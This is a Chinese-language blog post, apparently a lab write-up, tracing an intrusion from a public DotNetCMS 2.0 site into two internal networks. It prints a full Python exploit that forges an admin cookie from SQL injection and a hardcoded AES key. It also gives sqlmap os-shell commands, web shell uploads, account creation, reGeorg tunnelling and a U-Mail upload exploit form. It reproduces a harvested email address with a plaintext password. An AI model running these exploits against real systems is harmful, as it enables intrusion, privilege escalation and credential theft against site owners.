从外网至内网渗透过程

 【实验环境】仅供学习参考

 信息收集

登陆目标网站收集信息

 

通过查看页面源码,发现cms版本信息为:DotNetCMS 2.0通过上网查询可以找到该cms存在的漏洞,并进行复现

 

登录绕过漏洞

网站后台地址:/manage/Index.aspx

1)将代码写入exp.py文件中运行,即可得到cookie

代码如下:

#coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword           ####inurl:/manage/Login.aspx   #################################

KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'

IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args():

  parser = argparse.ArgumentParser()

  parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")

  return parser.parse_args()def run(url):

  try:

      usernumber = get_usernumber(url)

      if usernumber is not None:

          encrypt_cookie = generate_cookie(usernumber)

          #写入cookie

          write_cookie(url, encrypt_cookie)

  except Exception:

      traceback.print_exc()def get_usernumber(url):

  fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"

  content = urllib.urlopen(fullurl).read()

  index = content.index("<option value=\"")

  if  index != -1:

      usernumber = content[index+15:]

      usernumber = usernumber[0: content.index("\"")+1]

      print "Get usernumber success. Usernumber is :", usernumber

      return usernumber

  else:

      print "Get usernumber fail"

      return Nonedef pkcs7padding(data):

  bs = AES.block_size

  padding = bs - len(data) % bs

  padding_text = chr(padding) * padding

  return data + padding_textdef generate_cookie(usernumber):

  orgstr = "%s,admin,0,1,False"%(usernumber,)

  cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])

  ciphertext = cryptor.encrypt(pkcs7padding(orgstr))

  ciphertext = base64.b64encode(ciphertext)

  return ciphertextdef write_cookie(url, ciphercookie):

  print "Generate Cookie[SITEINFO]:", ciphercookie

  print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)if __name__ == '__main__':

  args = parse_args()

  try:

      if args.url is not None:

          run(args.url[0])

  except Exception, e:

      print "python Foosun_exp.py -u [url]"

2)在kali系统中运行结果如下

 

注意】:在运行时可能会报错

【原因1】没有安装crypto模块

安装命令:pip install crypto

 

原因2文件路径错误,需要将exp.py文件放入root主目录下(路径可变,但需要先cd到该目录下)

 

3)使用EditThisCookie谷歌工具添加cookie,可以将没用的cookies删除;

Cookie Editor为【火狐】插件小工具

 

使用Cookie Editor输入对应的值保存即可【exp.py运行的结果】

 

删除前面的url,再刷新即可绕过登录后台【不要按“回车键”刷新,点击“url栏”右侧的“转到”-->刷新】

 

文件上传getshell

进入后台后发现控制面板>系统参数设置>上传 处可修改上传文件允许格式,在里面加入asp格式

在插件管理>广告系统>添加广告 处可上传文件

成功上传asp一句话

返回上传后的文件路径

 使用菜刀成功连接,获取到shell

SQL注入getshell

先找到注入点http://www.test.com/user/City_ajax.aspx?CityId=1

 

sqlmap获取shell

命令:sqlmap.py -u “http://www.test.com/user/City_ajax.aspx?CityId=1” --os-shell

 

利用shell在网站根目录下写入“asp一句话”【需要知道网站根目录绝对路径,我这里的为默认路径】

 

成功用“菜刀工具”连接后台

 

添加系统超管

利用sqlmap得到shell后查看ip,发现IP192.168.1.123;说明这个是内网IP,之前可直接访问的为外网ip

 

利用shell后门添加用户【失败原因:密码为key1231强度太小,需要高强度的密码“字母数字符号”】

 

密码改为key123@,成功添加普通用户

 

将新添加的普通用户添加至超管一组

 

代理访问内网

【由于目标主机IP为内网,不能直接访问。IP192.138.31.55为外网IP,只能用代理进行下一步渗透测试】

先利用“菜刀”上传“wlt.aspx”文件,利用“reGeorg”打通隧道便可代理连接

 

开启reGeorg”隧道监听

 

使用proxchains”工具代理,代理所用的工具

例如添加火狐浏览器:proxychains firefox

 

代理后成功访问内网192.168.1.123

代理连接远程主机

尝试远程连接目标主机,成功连接【可先代理nmap工具扫描3389端口是否开启】

 

对内网系统主机搜集信息

进入主机后,在Administrator管理员的文件下找到一个txt文件,发现有路由器的账户密码

和一个邮箱账户和密码

邮箱账户:Xgk@domain.com

密码:xgk831203

 

连接路由器并信息搜集

通过代理firefox连接到路由器

 

在路由器上搜寻到另一个内网IP172.19.23.123

 

对另一个内网渗透测试

代理Firefox成功连接172.19.23.123,发现存在另一个网站为:U-Mail

 

1)在上一个内网系统中,我搜集到一个邮箱账号和密码,尝试登陆成功

 

2)通过上网查询得知u-mail CMS曾经爆发过严重的文件上传漏洞,我们可以尝试检查目标网站有没有修复该漏洞

输入构造好的payload进行测试,成功爆出账户id3

/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk

 

3)利用构造好的html网页进行上传文件

EXP代码如下】:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<FORM name=form1 method=post

action="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>

上传文件:<input type="file" name="Filedata" size="30">

<INPUT type=submit value=上传 name=Submit>

上传一个图片马后,爆出相应的file_id信息

 

账户id3fileid1559808738尝试连接,并用/.php解析上传的图片马成功连接大马

 

posted @ 2019-06-09 17:14  怪手精灵  阅读(5525)  评论(1编辑  收藏  举报